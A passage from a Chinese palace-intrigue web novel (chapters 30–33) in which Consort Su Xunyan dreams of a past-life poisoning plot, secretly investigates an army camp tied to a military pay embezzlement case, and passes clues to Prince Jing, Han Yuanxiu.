韩屹闻言,连忙翻身下马,快步朝这边走来。
其余人见状,也迅速跟上,在四周护卫他的安全。
"是你?”他目光扫过知秋,语气一紧:“你家娘娘呢?"
知秋停下来,喘了几口气,才指了指身后树林:“娘娘与小锤子都在里面,陛下快去。”
话音刚落,苏寻雁的身影便出现在众人面前,韩屹急忙上前,目光细细打量起她。
“寻雁,你可有受伤?你们怎么会来这里?”
苏寻雁没有回答,只是靠近他,毫无征兆地将他紧紧抱住,语气哽咽:“我以为再也见不到你了呢。”
她靠在他的肩头,眼神疏离,声音低低地道:“马车在半途坏了,我们迷路了。”
说着,她的眼眶渐渐染上湿意,眼泪将落未落,让人看了不免心疼。
见她这般情状,韩屹心下一软,不忍再问,只将人轻轻拥住,低声宽慰:“好了,我这不是来了。”
他抬手将她额边凌乱的发丝拢到耳后,语气温和:“折腾了一日,饿不饿?”
说着,便将她稳稳抱起,转身吩咐:“将马车牵来,回别苑。”
“是。”侍卫们躬身应下,随即下去准备。
他们这一夜刚顾着四处躲藏了,起初并没觉得什么,可一进入这温度适宜的车里,苏寻雁便觉得冷了,浑身止不住地颤抖。
韩屹连忙脱下自己的大氅,为她披上。
又将她整个人都抱在怀里,眼中满是心疼:“看你,跑那么远,若我寻不到你,今晚你要如何过?”
她这会儿也缓过来了,轻轻倚在韩屹的肩头,低声说。
“如若不行,只能在野外将就一宿了,幸好,你还是找到我了。”说着,她的语气又哽咽起来。
“嗯,都过去了,你先靠着我歇会儿,我们很快就能回去。”
韩屹低头轻吻她的侧脸,将她的手握入掌心,慢慢捂热。
就在苏寻雁将要睡着时,突然想起一事,连忙坐了起来。
“这次的事,错都在我,你可不许责罚他们。”
韩屹低低笑道:“好,我答应,你且安心睡吧。”
听到他的回答,她才安心地睡了过去。
不知过去多久,四周忽然陷入一片沉寂,她缓缓睁开眼,发现自己仍待在马车里,可韩屹却不见踪影,她立即坐起来,扬声唤道。
“陛下?知秋?”
没有听到任何回应,四周还是一片沉寂。
她心头一紧,掀开车帘向外望,只见马车不远处,静静立着一个模糊的黑影,一动也不动。
苏寻雁下意识地屏住呼吸,轻轻放下帘子,从缝隙中向外窥探,那黑影却仿佛听不到她的声音,仍立在原地。
这时,一道纤细身影缓缓靠近,凑到黑影身边,说了什么。
她听不清内容,却觉得那道纤细的身影越看越熟悉,可一时又想不起是谁。
她悄悄跳下马车,放轻脚步,缓缓靠近他们。
只听那道纤细的身影,语气突然急切起来。
“你给我的究竟是什么药?为何人好好的突然就死了?你这不是在害我吗?”
黑影没作声,只递给她一张纸,那人接过来看了眼,气得当场将纸撕碎。
“为何不早说?我只想让他们反目,没想要取其性命,我明明都盘算好了,你可倒好,直接将我的计划打乱,若韩屹查出什么,你我都别想活。”
这声音……是林婉柔?她怎么会在这?
她心下一惊,又凑近几步,却不慎踢到一块石子,可这细微的响动,却并惊动面前的二人。
她索性加重脚步,试探地靠近了些,二人依然毫无反应。
难道,他们听不见,也看不到自己?
她直接绕到女子身前,看了一眼,果然,此人是林婉柔,可那另一人是谁?
正当她想凑到黑影身旁时,对方却猛地转过头来,眼神犀利。
“谁在哪里?”
她吓得向后一退,后脑撞上一处硬物,耳畔传来一道熟悉的呼喊。
“寻雁,寻雁,醒醒。”
她
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再度睁眼,映入眼帘的是韩屹那张焦急又担忧的脸。
韩屹轻叹了口气:“总算是醒了,是不是梦魇了?”
她脑海还在回想方才那一幕,久久回不过神来。
韩屹拿起巾帕,为她擦汗,低声说:“梦到什么了?吓成这样?”
她这才回神,朝他摇了摇头。
见她如此反应,韩屹转身斟满一碗茶,放到她手中。
“来,先喝口热茶,压压惊。”
苏寻雁将一碗茶喝尽,心神才觉安稳。
方才所见,都是梦吗?
醒来前,她看见那个黑影了,那是一张烧伤的脸,看不清本来面貌。
不过,这么严重的烧伤也是少数,若想找出此人,应是不难。
“我们这是到了哪里?怎么还没到别苑?”
“看来你是真睡迷糊了,这才过去一刻钟,哪有这么快。”韩屹揉了揉她的发顶,眼神闪过一抹忧色。
“回去就让刘御医给你看看,开几副安神的汤药。”
“我没事,就是今日有些累了。”
韩屹连忙揽过她,低声劝道:“既然累了,就再睡一会儿,别想其他。”
苏寻雁依言闭上眼睛,心跳逐渐平复,脑海还在思索刚刚梦里看到的那一幕。
那似乎是前世发生的事,从二人的对话能判断出,前世给自己下毒之人,正是林婉柔,听她话中意思,是被对方利用了,而真正想要治她于死地的另有其人。
林婉柔在与什么人合作?那黑影是谁?这些人为何要杀她?
在梦的最后,应是出现了什么人,令他们惧怕,可那人,又会是谁?
思及此,她顿时感到一阵无力,这梦,做得实在古怪,像是在暗示她什么,却又没留下什么有用的线索。
罢了,既然想不通,只好先将此事放一边。眼下,还是那村庄与西郊军营的事更为紧要。
“陛下,溪山别苑到了。”
马车缓缓停下,刘路连忙跑过来禀报。
韩屹转头看她一眼,凑过来:“寻雁,我们到了,回去再睡。”
苏寻雁缓缓睁开眼,见她醒了,韩屹率先下车,转身再度将她抱起。
一旁的刘路见状,连忙说:“陛下,不如让老奴来?”
“不必,让他们备好热水。”
说罢,他径直朝别苑内走去。
直到将苏寻雁放到榻上,韩屹才松开手,随即冷声吩咐。
“将此二人带下去审问。”
苏寻雁闻言,急忙拽住他的手,“你不是答应了,不责罚他们吗?”
韩屹安抚地轻拍了下她的手,“不是责罚,只是问一下。”
二人一脸紧张地望过来,苏寻雁朝他们眨眨眼,随即看向韩屹。
“有什么话,不能明日再问?他们陪我在外奔波一夜了,就不能让他们回去歇息会儿吗?”
见她如此激动,韩屹只得妥协:“好,都听你的,你先歇息,明日我再问他们。”
说罢,为她掖好被角,才转身离开。
接着,听到他吩咐门口侍卫:“好生守好房门,不许让生人靠近。”
“是。”侍卫躬身应道。
31. 第 31 章
待院外彻底安静下来,苏寻雁才起身,语气严肃地叮嘱:“那木块得尽快送走,不然迟早会被他察觉。”
小锤子郑重应下:“娘娘放心,奴才这就去与苏嬷嬷联系。”
待他离开,知秋终是没忍住,问出了心中的疑惑。
“娘娘,为何不将我们的发现告知陛下?那些村民一看就不是善茬啊,单凭我们几个,很难查出真相吧?”
苏寻雁侧身倚靠在榻上,语气随意:“此事,我自有安排,你不必操心。”
知秋抿了抿嘴,有些委屈:“奴婢实在想不明白,为何不将此事与陛下说?您与陛下又吵架了?”
她抬眼望向她,心中愈发纳闷,娘娘与陛下近来分明感情更好了,怎么突然就生分了?
见她这般执着追问,苏寻雁无奈的笑了,转过身,随口解释道。
“他身为天子,一举一动有无数双眼睛盯着,眼下我们尚无实证,提前告知,只会打草惊蛇,这反而不利于追查真相,所以此事,你切不可透露给旁人。”
她这番话总算是将知秋应付过去。
知秋恍然:“还是娘娘思虑周全,是奴婢想的简单了,此事,奴婢绝不会与旁人提及。”
“嗯。”苏寻雁轻应一声,“明日若是陛下问起,你只需与他说,我们出去游玩,半路马车坏了,又寻不到人问路,才迷路了,其余的事不要提及。”
“是,奴婢明白。”
“小锤子那边,你也说一声,行了,快回去歇着吧。”
该叮嘱的都叮嘱完,苏寻雁才放心地沉沉睡去。
本以为第二日还能在别苑好好歇息一日,谁知,韩屹一大早就差人来,说他要先一步离开,让她自己随队伍慢慢前往即可。
她一听这话就觉蹊跷,连忙追问那传话的侍从。
“陛下不是有许多政务要处理,为何走的这样急?”
侍从躬身回道:“奴才不知,陛下今日一早就离开别苑,去了西郊军营。”
“哦,既然陛下去了西郊军营,那我们就去找他。”
苏寻雁眼底闪过一抹兴味,随即吩咐:“让众人去准备,我们午后出发。”
侍从闻言,有些犹豫:“陛下原是让娘娘去城西等他,若是改变路线,是否该告知陛下一声?”
“不必,正好给他一个惊喜,无事便下去吧。”
想要甩开她,独自去军营,哼,想都不要想。
她接着唤来小锤子:“趁陛下不在别苑,你速速回京,将那木块交给苏嬷嬷,让她想办法联络上竹子,将村子里的发现一并告知他。”
小锤子毫不迟疑地应下:“是,奴才这就动身。”
只有将木块交由靖王手中,她才能安心。
也只有借他之手,才能查清真相。
她隐隐有种预感,此事,与西郊军营的那桩军饷案,脱不开干系。
溪山别苑距军营不远,他们午后出发,天黑之前便赶到了军营。
只是不等马车停稳,军营外守卫的士兵便上前,将马车团团围住,其中一人上前,冷声呵斥。
“军机重地,闲杂人等速速避开!”
侍从匆匆上前,伸手作揖:“马车内坐的可是苏贵妃,几位请速去禀明陛下。”
几个守卫起初还有些不耐烦,一听车内坐着苏贵妃,立马露出笑脸,讨好地凑到马车前。
“原是贵妃娘娘驾到,先前卑职多有得罪,还望娘娘见谅,卑职这就去禀告陛下,娘娘稍候。”
苏寻雁语气懒懒地应了声:“嗯,去吧。”
侍卫转身便往军营跑去,知秋见此阵仗,心里还有些紧张,转而看向苏寻雁。
“娘娘,咱们不说一声就来军营,会不会惹得陛下不悦啊?”
苏寻雁合上游记,抬眸望过来:“知秋,你似乎很怕他啊?你老实说,是不是被他抓住了什么把柄?”语气中带着一丝戏谑。
“哎呀娘娘,您说什么呢,奴婢是在替您担心啊。”
知秋气恼地别过脸去,苏寻雁不禁噗嗤一声笑了出来。
"没什么好担心的,咱们安心等着便是。"
不一会儿,马车重新向前驶去,知秋忍不住好奇,悄悄掀开车帘向外望,苏寻雁轻声提醒。
“此处可是军机重地,不可随意窥探。”
知秋连忙缩回手,放下车帘,
这处营地肩负着守卫上京之责,因此屯驻的兵力并不少。
只是他们抵达时,恰是傍晚,除了几名值守的卫兵外,再不见其他士兵,想来是都去歇息了。
马车一路行至军帐外停下,侍从连忙上前,语气恭敬:“娘娘,陛下的营帐到了。”
知秋掀开车帘,朝营帐的方向望了一眼,随即从马车下来,回身搀扶苏寻雁。
二人径直走进营帐,不想,里面却空无一人。
她忙唤来门口守卫:“陛下在何处?”
那守卫一见到她,眼神就有些躲闪,含糊其辞。
她顿时没了耐心,就要转身朝外走,却被匆匆赶来的刘路拦住了去路。
“贵妃娘娘,还请稍安勿躁。”
见到他,苏寻雁也不急离开了,而是在木椅上坐下。
“既然刘总管亲自来了,那本宫便听听理由。”
刘路笑着摆手:“娘娘这话,真是折煞奴才了。”客套话说完,继续道:“陛下正在校场检阅士兵训练,还请娘娘在此稍候片刻,陛下很快便回。”
苏寻雁眼底闪过一抹嘲讽:“这都什么时辰了,你告诉本宫,陛下此刻还在校场?这话说出来,你信吗?”
刘路面上不见丝毫惊慌,反而愈发淡定。
“娘娘,奴才说的句句属实啊,陛下从早上来便去了校场,连午膳都是在那边用的。”
“哦,陛下还真是勤勉呢。”
苏寻雁面上露出一抹心疼,并未戳破他的话,反而还顺着这话往下说:“既如此,本宫更该去寻陛下,怎能坐在这里享受。”
刘路一听这话,眼中才露出几分慌张,低声劝道。
“校场上尽是男子,以娘娘的身份,恐怕不宜前往。还请娘娘在此稍候,奴才这便去禀明陛下。”
说罢,他转身匆匆离去,也不等
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苏寻雁应答,生怕她再说出什么,自己难以招架。
看着他落荒而逃的背影,苏寻雁没忍住轻笑出声,知秋却只觉古怪。
“娘娘,您今日为何要来军营?依奴婢看,陛下一时半会儿回不来。”
“回不来才好呢。”她低声喃喃,随即转头说:“去取晚膳来,咱们趁着这会儿将晚膳用了,才好去校场。”
知秋正要走,听到后面这话,猛地停住脚步:“啊,娘娘您真要去啊?”
刘路在韩屹身边侍奉多年,早就练就了喜怒不形于色,可这些守卫却不行,方才他们那般反应,一看就知是有事瞒她。
连向来心大的知秋,都察觉到了不对,压低声音说:“娘娘,您是不是猜到什么了?那些守卫一看就是心虚,总不会是陛下……”
“嘘。”她忙打断:“别说,待会去看看,自然就知晓了。”
饭毕,二人便从营帐出来,守卫见她出来,连忙躬身行礼。
“贵妃娘娘,军营重地,不可随意行走,还请您见谅。”
苏寻雁笑着点头:“不必紧张,本宫只是在营帐附近散散步罢了,若是不放心,你们便跟着来。”
说罢,她眼神示意知秋,二人一前一后地朝外走,守卫看了二人一眼,终是放心不下,转而去禀报刘路。
刘路听后,眼神一凛:“你们赶快跟上,我去寻陛下。”
守卫连忙转身出去,可哪里还有二人的身影。他们只得往别处去寻。
苏寻雁二人此时就藏在角落,待几人彻底离开,才从角落里走出。
“娘娘,我们是要直接去校场吗?”
“去什么校场,他人定不在那里,咱们就在附近转转,待会若看到什么,你也别出声。”
知秋似懂非懂地点了点头,随即跟上她。
二人在不同的营帐内来回穿梭,一路有惊无险,并未被守卫发现。
知秋却始终紧绷着悬,就在她忍不住要追问时,却见苏寻雁在一处营帐外停下。回身看向她。
“我进去看一眼,你在此处守着,若有人来,你就学几声猫叫。”
知秋还想再劝,却被她直接打断:“哎呀行了,你不必劝了,守好了便是。”
说罢,她迅速闪身进营帐,知秋只得看一眼营帐,再看一眼身后,眼中全是警惕。
而营帐内的苏寻雁,此时也警惕起来,只是预想中的一幕并未发生,这处营帐竟也无人!
细细回想,她们这一路走来,营帐大多是无人的,就连巡逻的士兵都少之又少。这究竟是为何?
她目光扫过帐内,除了几个兵器架子,再无其他。
此处似乎是兵器库,兵器却寥寥无几。这军营,果然处处透着蹊跷。
正要离开,帐外突然传来几声急促的猫叫,紧接着是知秋略显慌张地声音:“奴婢参见陛下。”
她环顾四周,发现无处藏身,索性转身,正对着帐帘。
下一瞬,营帐被掀开,一道修长身影出现在帐外。
那人走进来,眼神淡淡地瞥向她。
“你在这里做什么?”
32. 第 32 章
苏寻雁露出一抹淡笑,语气从容:“我当然是来寻陛下啊,在营帐等不来人,只好出来寻你,怎么?此处是什么紧要之地吗?”
韩屹没回她,缓步上前,直至走到她身前,才停下,眼底含笑地望着她。
“我们不过分开半日,你便追来,竟这般离不开我吗?”
他动作轻柔地将她揽入怀中,逐渐抱紧,低低笑了出来。
苏寻雁顺势靠在他的怀里,嘴角微弯:“是啊,正所谓一日不见如隔三秋,我们半日不见,能不想念吗?”
韩屹被她这话哄得,嘴角的笑容愈发扩大,直笑得弯下了腰。
“陛下今日心情似乎很不错呢,可是有什么好事发生?”
韩屹笑罢,伸手轻轻抚过她的发顶,“寻雁来寻我,心情自然好,不过今晚要先委屈你在营帐过夜了。”
“嗯,不委屈。”说着,她拉住韩屹的手,轻笑道:“这里陛下都住得,我自然也能住,没什么委屈的。”
韩屹顺势握紧她的手,二人一同走出营帐。
“逛了一晚上,累了吧?是不是该回去歇息了?”
她刚想说什么,一名侍从急急赶来,朝二人行礼过后,沉声禀报:“陛下,属下有急事禀报。”
韩屹朝他抬了抬下巴,侍从有些迟疑,目光转向苏寻雁。
韩屹也侧身看过来,却并未说话,什么意思不言而喻。
她故作不舍地缓缓松开手,声音带着几分埋怨:“陛下总这么忙,行吧,臣妾回去等你。”
韩屹笑着抚了抚她的脸,眼神宠溺:“我去去就回,时辰不早了,你不许再乱跑了。”
她点了点头,韩屹这才转身,脚步匆匆往前,像是有什么紧急之事要处理。
“娘娘,咱们回去吗?”
这一晚的所见所闻,知秋已隐隐察觉到不对,只是不知陛下究竟隐瞒了什么。
“不,我们悄悄跟上去。”
苏寻雁朝她眨了眨眼,知秋这回没再劝,她心里也十分好奇。
二人悄悄地跟在韩屹后面,她们不敢跟得太紧,始终保持着一段距离,脚步极轻,生怕被对方察觉。
苏寻雁原以为他是要召见什么人,却不想,他竟一路出了军营,坐上早就备好的马车,扬长而去。
“这么晚了,陛下这是去了哪里?”知秋疑惑。
苏寻雁抬眼,望向那辆远去的马车,眼底掠过一抹精光。
“这还用想吗?定是去见什么紧要之人了,只可惜,我们无法跟上去一探究竟。”
知秋闻言,心下一紧,小心翼翼地看向她:“娘娘,您别多想,陛下定是去见哪位大臣了。”
“你以为我会想什么?”苏寻雁不以为意地笑了笑:“不过,你的猜测也许是对的,这人,也未必是男子。”
“不会的!”知秋连忙宽慰道:“陛下对娘娘一片真心,定不会与人有什么牵扯。”
“话别说得太满。”
她缓缓抬头,望向空中的那轮圆月,寒冬时节的月光,似乎格外明亮透彻,她轻轻呼出一口气,声音散在寒风里。
”知秋,你要记得,这世间谁也不可尽信,唯有自己,才不会辜负自己。”
知秋眼底浮起一抹忧色,自入宫以来,她已许久不曾见娘娘这般神情,只以为她是为陛下的离开而感到伤怀。
殊不知,这是她两世沉浮,用血泪换来的警醒。
知秋不知要如何劝,只轻声说:“娘娘,奴婢那也只是猜测,具体如何,还是要眼见为实嘛。”
“罢了,回吧,趁着眼下人少,再去那营帐看看。”
说着,她转身往回走,熟门熟路地找到之前的营帐。
知秋心下还有些纳闷,抬眼见她已经走远,只得收回思绪,小跑着跟上去。
“娘娘,这营帐里是有什么古怪吗?”她好奇地追问。
苏寻雁笑了笑:“眼下还不知,看他先前那反应,里面定是有什么。”
她再度走进营帐,目光扫过那一排排兵器,最终定格在那杆长枪上。
她走过去,拿起来细细打量,枪尖与木柄的材质,都是上乘,可除此之外,也没什么特别。
韩屹方才那神情,此处定有什么隐秘,只是她还未曾察觉。
还想细看,可这杆长枪实在太重,她只得松手,任其落回架上,一声闷响在夜里尤其清晰。
她甩了甩酸麻的手腕,目光又对上墙对面的那把弓箭。
她走过去,伸手去提,这重量竟与那柄长枪不相上下,即便她不会射箭,也清楚这般重量的弓箭,威力会有多大。
难道韩屹紧张的源头,就是这把弓箭?
“喵喵喵,喵喵喵……”
她猛地回身,放下弓箭,走出去。
知秋指了指不远处,只见一行人正往这边走来,苏寻雁连忙说。
“快走,别被人发现。”
两人无声地朝营帐后走去,直到走回韩屹的营帐,才停了下来。
守卫的见二人如此情形,连忙上前询问:“贵妃娘娘,可是身体不适?需要请军医来看看吗?”
苏寻雁摆了摆手:“无妨,就是走得太急。”
回到营帐内,知秋按捺不住心中的好奇,连忙追问:“娘娘,里面可有什么发现?”
“嗯,有些异常,不过眼下还不能确定。”
她忍不住打了个哈欠,有些困顿地说:“不早了,先歇息吧。”
“不等陛下了吗?”
苏寻雁躺在榻上,语气懒懒:“他今晚不会回来了,咱们先睡。”
知秋放下床帐,将灯熄灭,在不远处的小榻上躺了下来。
而遥远的另一处院子,一名玄衣侍卫匆匆赶来,书房内守着的侍卫听到声响,连忙推门出去。
“怎么了?殿下正在看布防图呢,你小声些。”
侍卫闻言,连忙将侍从拉向一旁,凑到他耳边说了句什么,侍卫眼底闪过一丝惊诧:“东西在哪?快拿给我看。”
那人忙从怀中取出一物,侍卫垂眸一看,眼中的惊诧再也遮掩不住,他连忙转身,返回书房。
“殿下,您快看看这是何物!”
桌案后的人闻声抬头,刚要呵斥他无礼,瞥向他手中
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之物时,目光一顿,倏然起身,几步便走了过来。
“这玉印,是从何处寻得?”
侍卫本也暗自惊诧,见自家主子难得露出几分急切,不由又觉得有趣,索性卖起了关子来。
“这事说出来您怕是都不信,您猜怎么着?”
韩元修不耐地踹了他一脚,语气不悦:“说重点。”
“好好。”侍卫躲闪不及,结实地挨上这一脚,疼得他举手求饶:“殿下您可手下留情啊,我说还不行吗。”
他揉着受伤的膝盖,缓缓说道。
“这玉印竟在苏贵妃手中,前几日,她派人来寻竹子,竹子起初没理会,对方拿出这玉印,他这才与那人搭话,他还托竹子给您带了句话,让您留意西郊军营那边的动静。”
说道这里,他又自顾自地说下去。
“殿下,您说苏贵妃这话什么意思?这会不会是那位给您设的陷阱?西郊军营会有什么事?”
谁知,韩元修的关注点却并不在什么西郊军营,反而还在回味方才的话。
他拿着玉印,手不自觉攥紧:“你方才说,此玉印在苏贵妃手中?可是苏将军之女苏寻雁?”
修林奇怪地看了他一眼,随即点头道:“正是她,后宫不就这一个贵妃嘛,不是苏将军之女,还能是谁?”
“她还说什么了?”
见自家殿下情绪突然激动,他怔了怔,随即便想通了,殿下定是与自己想的一样,也觉得此事蹊跷。
“只这一句话,殿下是不是也觉此事古怪?这玉印咱们寻找多日,愣是一点线索都没有,哪成想,会在苏贵妃手里,真是有些想不通。”
要知道这玉印,殿下向来都是贴身佩戴,从不离身。
可前些日子却突然消失不见,他们翻找多日就是寻不到,可转眼,它竟出现在上京,还在苏贵妃手中,这事,怎么想都觉得蹊跷!
韩元修眸色暗沉:“将传话之人,带进来。”
见他神色转冷,修林这才收住话茬,转身出去唤人。
不多时,那玄衣侍卫便来到书房,躬身行礼:“参见殿下!”
"本王问你,竹子可还与你说过什么?"
他目光紧紧锁住那名侍卫,不放过对方任何的神色变化。
侍卫被他盯得莫名紧张,声音也不自觉发颤。
“回殿下的话,竹子只说让您留意西郊军营那边,没说其他,哦对了,苏贵妃想与您见上一面……”
“见我?”
韩元修眼底倏然掠过一抹亮色,转瞬便沉寂下来,“她说要见我?”
侍卫不敢再多言,只将头垂的更低了。
察觉到主子神色有异,修林忙朝那侍卫摆手,让他退下。
等那人离开,他才凑近过来,沉声劝道。
“殿下,且不说这贵妃是何目的,就说您这身份,若无诏私自回京,只会引人揣测,更何况,上面那位,一直紧盯着咱们,就想揪出您的错处,若您此时回去,岂不正中对方下怀?”
这些韩元修又岂会不知,可一想到苏寻雁,他就忍不住,恨不得即刻动身去见她。
33. 第 33 章
见他没有反应,修林急得不行:“殿下啊,您就听属下一句劝,千万不要冲动啊。”
韩元修回过神来,语气淡淡地应了声:“此事,本王自有安排,你先下去吧。”
说罢,他又坐回桌案后,垂眸看着桌上的布防图。
修林回头看了一眼,见他又恢复成以往的沉静,才放心的转身离开。
而冷静下来的韩元修,终于想起了西郊军营,连忙唤来暗卫。
“速去西郊军营查一下,此事需暗中进行,不可让人起疑。”
侍卫躬身应下,转瞬便消失。
派去探查的几人还未传回消息,竹子那边却又有了新的消息。
修林看着手中的木块,心里隐隐划过不安。
他想将木块就地掩埋,却恰好被另一个同僚撞见:“哎,修林,你在这干啥呢?”
他只得将木块藏回袖中,那人走过来,轻拍了下他的肩膀。
“殿下不是叫我们去书房议事?你不会忘了吧?”
“哦,我午膳吃多了,出来遛遛弯,走吧。”
那人噗嗤一声笑了出来:“哦,你小子,吃了不少肉吧?也就咱家殿下仁义,让兄弟们顿顿吃得上肉,你再看看其他营地,哪有这么好的伙食,饭能吃饱不错了!”
修林闻言,突然顿住步子,转头看向那人:“什么意思?还有将士吃不饱饭?”
“对啊,我有一个兄弟,他大哥就在西郊军营,我也以为他们待遇不错,一问才知,他们伙食很一般,顿顿只吃青菜,一点油腥见不到不说,还拖欠军饷。”
"不应该啊,他们可是負責上京布防的,怎会拖欠军饷?你是不是听岔了?"
那人一脸不服:“不会,他大哥我还认识呢,不会听岔。”
修林眼底闪过一丝惊诧,心中的不安愈发扩大。
“哎,你倒是走啊?怎么又停下了?再不走,殿下待会该派人来催了!”
见他还在原地愣神,那人便不由分说地拽住他的胳膊,修林却久久回不过神来。
直到进了书房,众人议事结束,他的思绪也没能收回。
韩元修将事情吩咐完,便让几人下去。转身时,见他楞在原地,就不耐地敲了敲桌案。
这‘咚咚’的声响,瞬间让他回过神来,抬头看向桌案,正对上韩元修肃然的神色,他赶紧躬身回道。
“殿下恕罪,属下方才在想事情,一时走神了,殿下有何吩咐?”
韩元修一脸探究地看向他:“怎么了?这么心不在焉。”
修林连忙垂下头,语气含糊:“没有,可,可能是我昨晚没睡好,殿下恕罪。”
“你有事瞒着本王。”
修林心下一虚,面上仍强装淡定,他摇头否认:“没有,属下不敢。”
韩元修眸色一沉,眼含审视的扫过他的周身,最终停在他腰侧的位置。
朝他抬了抬下巴:"藏了什么?拿出来!"
修林扛不住他眼神的压迫,只得从怀里取出木块。
“这是苏贵妃今早命人送来的,属下觉得她没安好心,怕对您不利,才,才想着将这木块处理了……”
“你说什么?”
韩元修蓦地打断他:“这是她要给本王的?”
修林认命地点了点头:“是,竹子说,苏贵妃人在西郊军营,托他将这木块送过来,说是让您务必看一眼。”
韩元修拿起木块,指腹摩擦过上面粗糙的纹路,又细闻了它的味道,眼神一凛。
“这木块,从何处发现?”
修林心下叹气,如实说道:“就在西郊附近的一处村庄里发现的。”
说罢,他又有些不甘心,连忙劝说:“殿下,此事您还是别插手了,不如交由属下去查。”
“知情不报,还要替本王做主?”他语气平静,却字字珠玑:“自己去领三十军棍,若有下次,绝不轻饶!”
修林吓得跪到地上,冷汗浸湿额头:“属下领命!”
他转身,径直往校场而去,路上,同僚们见他一脸肃穆,都觉奇怪,连忙拦住他。
“修林,这个时辰你去校场做什么?”
“对啊,你不吃午膳了?今日可是有鱼呢!”
修林却没搭理他们,只继续前往。几人见他这般反应,愈发好奇,连忙跟了上去。
“你这是又犯了什么错啊?大中午的殿下还要罚你军棍?”
修林疼得说不出话,只不耐烦地朝几人摆手:“吃你们的鱼去!”
见他疼得皱眉,几人忍不住笑起来。正要去饭堂吃鱼,却不想,又被殿下叫回书房。
"眼下有一紧急情况,需去一趟西郊,谁愿随本王同去?"
几人听后,先是怔了怔,随即连番劝说。
“殿下,眼下不可贸然进京啊,有什么事,尽可吩咐属下去做。”
“殿下,切勿冲动啊!无诏进京,视同谋反啊!”
“行了。”
韩元修不耐地打断道:“你们不必再劝,此事干系重大,若坐视不理,恐会动摇我朝根基。”
几人闻言,顿时没了话,只得垂首听令。
修林扶着墙慢慢往回走,见兄弟几人脚步匆匆,像是要外出,他连忙拦住他们。
“你们这是要去哪?接到新任务了?该不会是要去西郊军营吧?”
见他这副狼狈样,几人却是一点也同情不起来。
“你就作吧,什么事都没搞清楚,就替殿下做决定,要我说啊,这三十军棍也少了。”
一个身材壮硕的侍卫,没好气地瞪了他一眼。
“你这话什么意思?”
几人看他一眼,便摇头离开,独留修林一人在原地茫然。
难道那木块还牵扯到什么要案?
思及此,他连忙返回韩元修的书房,主动请缨:“殿下,派属下去查明此事吧!”
韩元修未看他,只说了一句:“人手足够。”便抬手将他打发。
知道殿下还在怪自己,他不敢再打搅,一脸落寞地转身走了。
两日后,小锤子终于赶到西郊军营,将得到的消息告知苏寻雁。
“果然如此,看来先前我的猜想是对的。”
小锤子点头,接着道:“靖王已经派人赶来上京,暗中探查此事,他
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让娘娘不要再插手。”
苏寻雁露出一抹无奈地笑:“此事,就算我不管,也会牵扯其中,更何况,一切若真如我所料,我又岂能坐视不理。”
知秋在旁听了片刻,仍是一脸懵。
见二人话音暂落,她急忙追问:“娘娘,靖王发现什么了?您就别同奴婢打哑谜了,快告诉奴婢吧!”
“那木块材质特殊,一般是用于武器制作,而那些村民,应也不是失踪那么简单。”小锤子压低声音,替她解惑。
知秋惊讶地捂住嘴,求证地看向苏寻雁,得到肯定回答后,更是震惊。
“竟是这样,难怪村民对我们那么戒备,看来他们也知晓此事!”
苏寻雁不悦地瞪了她一眼:“小声些,你是生怕别人听不到?”
知秋自知理亏,连忙捂嘴,只心下仍觉震惊。
“娘娘,我们眼下要做什么?可要再去那村庄探查一番?”小锤子小声询问。
“村子就不必去了,倒是可以跟上那些村民,说不定能寻到他们做工的地方。”
小锤子自告奋勇:“娘娘,就让奴才去吧。”
“不可。”苏寻雁却没同意:“他们既已见过我们,再去,只会让他们更加防备。”
说着,她几步走到桌案后,在桌上寻到一张空白宣纸,几笔将信写完,递给小锤子。
“去苏府,寻我母亲,她看后,自会安排好一切。”
小锤子连忙将信收好,转身出去了。
若他们能提前寻到地方,韩元修探查起来便能快上许多。
也许韩屹此行的目的,就是那里?
记得第一世时,林婉柔说过,军饷案是她与韩屹一同策划的。
也许,韩屹早就知晓西郊军营存在军饷贪墨之事,却放任其发展,直到不得不处理,才顺水推舟,诬陷父亲。
只可惜,眼下的线索还是太少,无法拼凑出事情的全貌,只能继续探查下去。
这时,外面忽然传来一阵喧嚣,知秋连忙起身去看。
不多时,她返回营帐,凑到苏寻雁耳边,小声说道。
“娘娘,是陛下回来了,他好像还带回什么人,离得太远,奴婢没有看清,但看那身形,似是女子……”
她越说越小声,说完,还悄悄看了眼苏寻雁的脸色。
只见她神色如常,只淡声应了句:“哦,是吗?”便拿起榻上的游记,垂眸翻阅起来。
知秋见状,先是一愣,转念一想,又有些忿忿不平,狠狠拍了几下椅子。
“陛下这一去便是两日,连句话都没带回,原是为了旁的女子!”
苏寻雁抬头看了她一眼,无奈地摇了摇头:“我都还未生气,你这又是何必?手可是自己的啊,不疼吗?”
知秋却没管手,只顾替她鸣不平:“陛下此举,实在是太过分了!”
望着眼前这张写满心疼与不忿的脸,苏寻雁恍如隔世。
那时,知秋也曾这般,替她鸣不平。只可惜,她历经两世,却终究无法摆脱那个人。
“好了,我们先过去看看,待会无论发生什么,你都要收着情绪,可记住了?”